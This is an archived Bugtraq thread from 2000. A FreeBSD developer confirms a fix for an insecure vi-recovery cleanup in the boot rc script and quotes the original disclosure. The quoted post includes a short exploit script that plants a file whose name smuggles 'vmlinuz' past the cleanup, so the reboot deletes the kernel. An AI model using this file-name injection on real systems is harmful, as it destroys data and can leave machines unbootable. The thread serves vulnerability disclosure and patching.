Bugtraq mailing list archives

Re: vibackup.sh


From: kris () HUB FREEBSD ORG (Kris Kennaway)
Date: Wed, 5 Jan 2000 02:22:40 -0800


This has just been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and
4.0-CURRENT. Thanks!

Kris

On Fri, 31 Dec 1999, Loneguard wrote:

Looks like someone noticed this at some point in OpenBSD. Its broken
rather than fixed ;(

#!/bin/sh
#
# vibackup.sh - Loneguard 22/05/99
# Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
# of files
#
touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
echo Now wait for ( or cause ) a reboot...



Current thread: